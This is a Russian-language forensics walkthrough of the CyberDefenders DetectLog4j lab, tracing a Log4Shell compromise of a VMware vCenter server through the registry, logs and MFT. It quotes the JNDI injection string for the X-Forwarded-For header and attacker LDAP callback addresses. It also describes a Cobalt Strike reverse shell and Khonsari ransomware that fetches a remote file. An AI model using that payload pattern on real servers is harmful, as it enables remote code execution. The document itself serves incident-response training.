Хакер - Уроки форензики. Расследуем киберинцидент по следам Log4Shell

https://t.me/hacker_frei

rayhunt454 

Содержание статьи

• План исследования
• Получение информации об объекте исследования
• Поиск точки входа
• Методы постэксплуатации
• Сохранение постоянства в системе
• Устранение уязвимости
• Заключение

В этой статье я покажу ход рас­сле­дова­ния киберин­циден­та на при­мере лабора­тор­ной работы DetectLog4j с ресур­са CyberDefenders. Мы научим­ся извле­кать арте­фак­ты из обра­за дис­ка Windows, ана­лизи­ровать их и с исполь­зовани­ем этих дан­ных выяс­ним, как зло­умыш­ленник ском­про­мети­ровал сис­тему.

В биб­лиоте­ке жур­налиро­вания Java Log4j (вер­сия 2) был обна­ружен экс­пло­ит 0-day, который при­водит к уда­лен­ному выпол­нению кода через регис­тра­цию опре­делен­ной стро­ки. Эта уяз­вимость получи­ла наз­вание Log4Shell и иден­тифика­тор CVE-2021-44228. Биб­лиоте­ка Log4j исполь­зует­ся во мно­гих про­дук­тах, точ­ное количес­тво и перечень которых уста­новить невоз­можно. В этой лабора­тор­ной работе мы научим­ся обна­ружи­вать экс­плу­ата­цию уяз­вимос­ти Log4Shell и иссле­довать арте­фак­ты, которые сви­детель­ству­ют о ее исполь­зовании.

По сце­нарию зло­умыш­ленни­ки взло­мали веб‑сер­вер и получи­ли пол­ный кон­троль над ним. Спе­циалис­ты по реаги­рова­нию на инци­ден­ты сде­лали побито­вую копию сис­темно­го дис­ка ском­про­мети­рован­ной машины на базе опе­раци­онной сис­темы Windows. Заг­рузим файл об­раза и нач­нем его иссле­дова­ние.

По резуль­татам решения кей­са необ­ходимо отве­тить на ряд воп­росов, но я покажу сам про­цесс решения и не буду под­све­чивать отве­ты. Ты можешь пов­торить все самос­тоятель­но, что­бы луч­ше разоб­рать­ся и зак­репить матери­ал.

ПЛАН ИССЛЕДОВАНИЯ

Про­ана­лизи­руем сле­дующие арте­фак­ты опе­раци­онной сис­темы Windows:

1. Фай­лы реес­тра SAM, SOFTWARE, SYSTEM, которые рас­положе­ны в катало­ге C:\Windows\System32\config.
2. Фай­лы логов опе­раци­онной сис­темы. Они находят­ся в катало­ге C:\Windows\System32\winevt\Logs.
3. Фай­лы логов про­дук­та VMware vCenter Server.
4. User Registry Hives — файл NTUSER.DAT, содер­жащий информа­цию, свя­зан­ную с дей­стви­ем поль­зовате­ля. Фай­лы NTUSER.DAT хра­нят­ся в катало­ге %userprofile%.
5. MFT (глав­ная таб­лица фай­лов) — сис­темный файл, содер­жащий метадан­ные объ­екта фай­ловой сис­темы. Этот файл рас­положен в кор­не каж­дого раз­дела NTFS, выг­рузить его мож­но с помощью FTK Imager или R-Studio.

Рас­сле­дова­ние раз­делим на нес­коль­ко эта­пов:

1. По­луче­ние информа­ции об объ­екте иссле­дова­ния.
2. По­иск точ­ки вхо­да в сис­тему. На этом эта­пе выяс­ним, как зло­умыш­ленник ском­про­мети­ровал сис­тему и какие вре­донос­ные фай­лы исполь­зовал.
3. По­иск спо­соба зак­репле­ния. Выяс­ним, как зло­умыш­ленни­ки обес­печили себе пос­тоян­ный дос­туп к сис­теме.

Ис­поль­зуемые ути­литы:

1. Ути­литы EricZimmerman: Registry Explorer, MFTECmd.
2. Ути­литы NirSoft: FullEventLogView.
3. R-Studio — ути­лита для вос­ста­нов­ления дан­ных с дис­ка.
4. Jadx — ути­лита для соз­дания исходно­го кода Java из фай­лов Android Dex и Apk.
5. DIE — прог­рамма для опре­деле­ния типов фай­лов.
6. FTK Imager — инс­тру­мент для ана­лиза и получе­ния обра­зов дис­ка.

ПОЛУЧЕНИЕ ИНФОРМАЦИИ ОБ ОБЪЕКТЕ ИССЛЕДОВАНИЯ

Файл обра­за дис­ка DetectLog4Shell.E01 записан в фор­мате Expert Witness Format (EWF) и содер­жит побито­вую копию дан­ных. Сде­лать циф­ровую копию дис­ка в этом фор­мате мож­но с помощью ути­литы EnCase. При­мон­тиру­ем иссле­дуемый диск в Windows и извле­чем из него арте­фак­ты, необ­ходимые для рас­сле­дова­ния инци­ден­та.

От­кро­ем ути­литу FTK Imager и при­мон­тиру­ем образ дис­ка. Для это­го перехо­дим на вклад­ку File → Image Mounting. В поле Image File выбира­ем образ Webserver.e01 и вво­дим нас­трой­ки, ука­зан­ные ниже.

На­жима­ем Mount. Иссле­дуемый образ дол­жен при­мон­тировать­ся, и мы уви­дим сле­дующую информа­цию.

Мы не можем получить дос­туп к сис­темным фай­лам, пос­коль­ку нам не хва­тает для это­го раз­решений. Вос­поль­зуем­ся ути­литой R-Studio и выг­рузим фай­лы реес­тра SYSTEM, SAM, SOFTWARE, рас­положен­ные в катало­ге %WINDOWS%/Windows/System32/config/.

Мы получим информа­цию из кус­та реес­тра SYSTEM. Заг­рузим ее в ути­литу Registry Explorer, наж­мем File → Load hive, затем выберем иссле­дуемый файл. Информа­ция о вре­мен­ной зоне хра­нит­ся в клю­че TimeZoneKeyName, рас­положен­ном в вет­ви ControlSet001\Control\TimeZoneInformation.

Вре­мен­ные мет­ки во вре­мен­ной зоне — Pacific Standart Time (UTC-8). Имя компь­юте­ра хра­нит­ся в клю­че Windows\System32\config\SYSTEM: ControlSet001\Control\ComputerName\ComputerName.

Ин­форма­ция об IP-адре­се машины рас­положе­на в клю­че ControlSet001\Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692}, где {ea202436-8a31-4cb6-9b59-5be0c2bc1692} — иден­тифика­тор адап­тера. Докумен­тация об этом клю­че реес­тра есть на сай­те Microsoft.

Флаг EnabledDHCP озна­чает, что сетевой адрес выда­ется сер­вером DHCP 192.168.112.254. IP-адрес хос­та — 192.168.112.139.

В клю­че ControlSet001\Services\Tcpip\Parameters хра­нит­ся информа­ция о домен­ном име­ни компь­юте­ра.

До­мен­ное имя компь­юте­ра — cyberdefenders.org. Про­ана­лизи­руем вет­ку реес­тра SOFTWARE, что­бы получить информа­цию об опе­раци­онной сис­теме. Заг­рузим эту вет­ку реес­тра в ути­литу Reg Explorer. В клю­че Microsoft\Windows NT\CurrentVersion содер­жится вер­сия опе­раци­онной сис­темы и текущий номер сбор­ки.

Объ­ект нашего иссле­дова­ния — опе­раци­онная сис­тема Windows Server 2016 Standard Evaluation, вер­сия сбор­ки — 14393.

Те­перь получим информа­цию обо всех уста­нов­ленных при­ложе­ниях. Для это­го заходим в ключ реес­тра Microsoft\Windows\CurrentVersion\Uninstall, который хра­нит информа­цию об уста­нов­ленных прог­раммах. Находим инте­ресу­ющий нас про­дукт, в нашем слу­чае VMware.

На ском­про­мети­рован­ной машине уста­нов­лен VMware vCenter Server, вер­сия уста­нов­ленно­го про­дук­та — 6.7.0.40322. Фай­лы прог­раммы рас­полага­ются в пап­ке Program Files\VMware\vCenter Server.

Те­перь най­дем вер­сию биб­лиоте­ки логиро­вания Log4j. Для это­го перехо­дим в каталог Program Files\VMware\vCenter Server\VMware Identity Services и ищем файл log4j-core-2.11.2.jar. Вер­сия биб­лиоте­ки — 2.11.2. В этом же катало­ге хра­нит­ся файл кон­фигура­ции log4j2.xml, который содер­жит уро­вень логиро­вания жур­нала биб­лиоте­ки Log4j2.

Про­ана­лизи­руем вет­ку реес­тра SAM, что­бы узнать информа­цию о поль­зовате­лях. В клю­че SAM\Domains\Account\Users хра­нит­ся вся информа­ция о поль­зовате­лях сис­темы.

В спис­ке юзе­ров мы обна­ружи­ваем учет­ные записи myoussef и mhasan. Дата соз­дания поль­зовате­ля myoussef — 2021-12-28 06:57:23 UTC. О поль­зовате­ле mhasan есть сле­дующая информа­ция, и в ней хра­нит­ся под­сказ­ка о пароле поль­зовате­ля.

INFO

Что­бы авто­мати­зиро­вать ана­лиз фай­лов реес­тра, мож­но вос­поль­зовать­ся биб­лиоте­кой Registry для Python3. Она поз­воля­ет получать необ­ходимую для ана­лиза информа­цию из клю­чей реес­тра опе­раци­онной сис­темы.

ПОИСК ТОЧКИ ВХОДА

Мы выяс­нили, что на ском­про­мети­рован­ной машине уста­нов­лен про­дукт VMware vCenter Server. Най­дем его логи и нач­нем их иссле­довать. Нам извес­тно, что зло­умыш­ленни­ки экс­плу­ати­рова­ли уяз­вимость CVE-2021-44228 Log4Shell. Здесь под­робно опи­сана схе­ма ата­ки.

Уяз­вимость в про­дук­те VMware vCenter Server вер­сии 6.7 находит­ся в заголов­ке X-Forwarded-For на стра­нице вхо­да https://<адрес хоста>/websso/SAML2/SSO/<ДНС-имя хоста>?SAMLRequest=, где в качес­тве полез­ной наг­рузки переда­ется стро­ка X-Forwarded-For: \\${jndi:ldap://<ДНС-адрес злоумышленника>:1389/payload}. Пос­ле уста­нов­ки соеди­нения с сер­вером зло­умыш­ленни­ка по про­токо­лу LDAP заг­ружа­ется вре­донос­ная наг­рузка, которую выпол­няет Powershell.exe.

Про­ана­лизи­руем логи VMware vCenter Server, рас­положен­ные в катало­ге ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs.

В момент, соот­ветс­тву­ющий вре­мен­ной отметке 28.12.2021 в 12:39:28 UTC, обна­ружен успешный вход поль­зовате­ля administrator@vsphere.local.

На­чиная с 29.12.2021 01:50:06 UTC обна­руже­ны попыт­ки экс­плу­ата­ции уяз­вимос­ти Log4Shell в сис­теме.

Зло­умыш­ленник в качес­тве наг­рузки исполь­зовал адрес log4shell.huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a, что­бы опре­делить, уяз­вим ли уста­нов­ленный в сис­теме про­дукт VMware vCenter Server.

Ис­точни­ком ата­ки слу­жит компь­ютер с IP-адре­сом 192.168.112.128. Пос­ле успешной ком­про­мета­ции была заг­ружена полез­ная наг­рузка с IP-адре­са ата­кующе­го ldap://192.168.112.128/0=tomcat.

В резуль­тате ана­лиза логов VMware vCenter Server вер­сии 6.7 мы обна­ружи­ли точ­ку вхо­да зло­умыш­ленни­ков в сеть орга­низа­ции.

МЕТОДЫ ПОСТЭКСПЛУАТАЦИИ

Мы выяс­нили, что зло­умыш­ленник про­экс­плу­ати­ровал уяз­вимость CVE-2021-44228 в про­дук­те VMware vCenter Server 29.12.2021 в 01.50.50 UTC. Заг­рузим логи опе­раци­онной сис­темы, для это­го откро­ем ути­литу FullEventLogView, наж­мем File → Choose Data Source и выберем каталог, в который выг­рузили логи из пап­ки Windows\System32\winev\Logs иссле­дуемо­го обра­за. Затем перей­дем на вклад­ку Options → Advanced Options и выберем инте­ресу­ющее нас вре­мя 29.12.2021 01:50 UTC.

Най­дем события powershell.exe. В 02:09:51 29.12.2021 UTC зло­умыш­ленни­ками выпол­нен код коман­дной обо­лоч­ки Powershell.exe.

Сле­дующим эта­пом эта полез­ная наг­рузка декоди­рует­ся и выпол­няет­ся. Так­же при ана­лизе логов мы обна­ружи­ли сле­дующий код.

По­лез­ная наг­рузка декоди­рует­ся по алго­рит­му Base64, а далее рас­паковы­вает­ся с исполь­зовани­ем gzip. Для пре­обра­зова­ния перей­дем на сайт CyberChef, выберем From Base64 -> Gunzip, заг­рузим пред­став­ленные выше закоди­рован­ные дан­ные и про­дол­жим ана­лиз.

В перемен­ной $var_code содер­жится шелл‑код, который выпол­няет­ся в Powershell.exe. Выпол­ним дан­ный скрипт, что­бы обна­ружить адрес управля­юще­го цен­тра. Для это­го откро­ем ути­литу ProcessHacker2, перей­дем на вклад­ку Network и най­дем про­цесс Powershell.exe.

Наг­рузка вза­имо­дей­ству­ет с управля­ющим сер­вером 192.168.112.128 по пор­ту 1337 и пред­став­ляет собой обратную обо­лоч­ку для фрей­мвор­ка Cobalt Strike.

СОХРАНЕНИЕ ПОСТОЯНСТВА В СИСТЕМЕ

Про­ана­лизи­руем реестр, что­бы понять, как зло­умыш­ленни­ки зак­репились в сис­теме. В вет­ке NTUSER.dat поль­зовате­ля Administrator.WIN-B633EO9K91M в клю­че SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce мы обна­ружи­ваем имя исполня­емо­го фай­ла.

Для зак­репле­ния в сис­теме зло­умыш­ленни­ки исполь­зовали исполня­емый файл baaaackdooor.exe. Дан­ный файл по его пути мы най­ти не смог­ли, но с помощью ска­ниро­вания анти­вирус­ными средс­тва­ми обна­ружи­ли вре­донос­ный файл C:\khonsari.exe. Получим вре­мен­ную мет­ку его соз­дания и иссле­дуем его.

Раз­берем, в какое вре­мя был соз­дан файл khonsari.exe. Для это­го с исполь­зовани­ем ути­литы R-Studio откро­ем при­мон­тирован­ный вир­туаль­ный диск, най­дем в кор­не файл $MFT и выг­рузим его.

Вос­поль­зуем­ся инс­тру­мен­том MFTECmd.exe и получим информа­цию об объ­ектах фай­ловой сис­темы в файл CSV.

MFTECmd.exe -f $MFT --csv .\RESULT\MFT

Мы получи­ли файл, содер­жащий пути ко всем объ­ектам фай­ловой сис­темы, а так­же мет­ки вре­мени. С исполь­зовани­ем поис­ка най­дем файл khonsari.exe. Все мет­ки вре­мени в таб­лице MFT исполь­зуют часовой пояс UTC.

Че­рез поиск най­дем иссле­дуемый файл — он соз­дан 2021-12-29 02:15:56 UTC.

Так­же в фай­ле MFT обна­руже­на дата соз­дания фай­ла khonsari.dmp и путь к нему.

По­лучен­ные дан­ные сви­детель­ству­ют о том, что вре­донос­ный файл запущен от име­ни учет­ной записи Administrator.WIN-B633EO9K91M, при сво­ей работе он получил ошиб­ку, и дамп работы сох­ранен на дис­ке.

По­лучим MD5-хеш исполня­емо­го фай­ла khonsari.exe и най­дем его на VirusTotal: 6ac57a1e090e7abdb9b7212e058c43c6, имя фай­ла khonsari.exe. В отче­те VirusTotal обна­руже­на пер­вая дата заг­рузки вре­донос­ного фай­ла: 2021-12-11 22:57:01 UTC. Файл опре­деля­ется анти­вирус­ными средс­тва­ми сле­дующим обра­зом.

По­лучим информа­цию о вре­донос­ном фай­ле, для это­го вос­поль­зуем­ся ути­литой DIE.

При­ложе­ние написа­но на C#. Деком­пилиру­ем исполня­емый файл. Для это­го мож­но вос­поль­зовать­ся ути­литой DnSpy или ILSpy. Най­дем фун­кцию main и раз­берем фун­кци­ональ­ность. Код при­ложе­ния обфусци­рован.

Пер­вым делом заг­ружа­ется тек­сто­вый файл с адре­са, ука­зан­ного в перемен­ной text. Эта стро­ка пре­обра­зует­ся опе­раци­ей XOR с клю­чом в перемен­ной text2="GoaahQrC. Пос­ле декоди­рова­ния заг­ружа­ется файл с ресур­са http://3.145.115.94/zambos_caldo_de_p.txt. Про­вай­дер IP-адре­са 3.145.115.94 — Amazon Technologies Inc.

Да­лее вре­донос­ный исполня­емый файл khonsari.exe получа­ет информа­цию о катало­гах поль­зовате­ля и начина­ет шиф­ровать фай­лы по алго­рит­му AES. Каж­дому зашиф­рован­ному фай­лу прис­ваивает­ся рас­ширение .khonsari. Перед шиф­ровани­ем рас­ширение фай­ла про­веря­ется по алго­рит­му, реали­зован­ному в фун­кции LxqQxinF. Все фай­лы с рас­ширени­ями .ini и .khonsari не шиф­руют­ся прог­раммой‑вымога­телем.

Ис­сле­дуемый нами файл был запущен 29.12.2021 02:17:18, но в резуль­тате сбоя он не сра­ботал в ском­про­мети­рован­ной сис­теме.

Дамп сбой­ного при­ложе­ния так­же мож­но най­ти в катало­ге C:\ProgramData\Microsoft\Windows\WER\ReportArchive\.

INFO

Ког­да при­ложе­ние ава­рий­но завер­шает свое выпол­нение в Windows, механизм отче­тов об ошиб­ках WER собира­ет под­робную отла­доч­ную информа­цию об исполня­емом фай­ле. Дамп содер­жит имя при­ложе­ния и заг­ружа­емые модули. Этот механизм — один из важ­ных арте­фак­тов опе­раци­онной сис­темы, который необ­ходимо ана­лизи­ровать.

Что­бы сох­ранить пос­тоян­ное при­сутс­твие в сис­теме, зло­умыш­ленни­ки исполь­зовали ключ реес­тра SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce вет­ки NTUSER.dat поль­зовате­ля Administrator.WIN-B633EO9K91M. Пос­ле это­го они заг­рузили прог­рамму‑вымога­тель C:\khonsari.exe.

УСТРАНЕНИЕ УЯЗВИМОСТИ

Для устра­нения уяз­вимос­ти CVE-2021-44228 в про­дук­тах VMware VCenter Server вер­сии 6.7 необ­ходимо про­вес­ти обновле­ние 3q сбор­ки 19300125. Если обно­вить­ся невоз­можно, сле­дует вос­поль­зовать­ся сце­нари­ем, который пуб­лику­ет ком­пания VMware.

В целях обновле­ния исполь­зует­ся скрипт vc_log4j_mitigator.py, который оста­новит служ­бы vCenter Server, запус­тит Java-фай­лы с фла­гом log4j2.formatMsgNoLookups=true, рас­паку­ет файл log4j-core-2.x.x.jar и уда­лит JndiLookup.class из всех фай­лов jar/war на устрой­стве. Пер­воначаль­ная проб­лема в биб­лиоте­ке Log4j была устра­нена в вер­сии 2.15.0.

Про­ана­лизи­руем файл log4j-core-2.11.2.jar. Для это­го пере­име­нуем его в фор­мат ZIP и выг­рузим файл org/apache/logging/log4j/core/lookup/JndiLookup.class (sha256:0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208499f7e). Откро­ем его в ути­лите jadx и най­дем зна­чение, хра­няще­еся в перемен­ной CONTAINER_JNDI_RESOURCE_PATH_PREFIX=java:comp/env/.

ЗАКЛЮЧЕНИЕ

По резуль­татам решения лабора­тор­ной работы мы научи­лись извле­кать из опе­раци­онной сис­темы Windows арте­фак­ты, необ­ходимые для рас­сле­дова­ния инци­ден­та. Про­ана­лизи­рова­ли реестр и получи­ли пер­вичную информа­цию об объ­екте иссле­дова­ния, про­ана­лизи­рова­ли логи VMware vCenter Server вер­сии 6.7 и обна­ружи­ли экс­плу­ата­цию уяз­вимос­ти Log4Shell (CVE-2021-44228). Источни­ком компь­ютер­ной ата­ки был хост с IP-адре­сом 192.168.112.128, вре­мя начала ата­ки — 29.12.2021 в 01.50.50 UTC.

Да­лее мы обна­ружи­ли заг­ружен­ную на взло­ман­ную машину полез­ную наг­рузку — PowerShell-маячок фрей­мвор­ка Cobalt Strike. Мы выяви­ли метод зак­репле­ния в сис­теме и наш­ли заг­ружен­ную зло­умыш­ленни­ком прог­рамму‑вымога­тель. Наконец, мы наш­ли методы устра­нения уяз­вимос­ти Log4Shell в про­дук­тах VMware vCenter Server.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei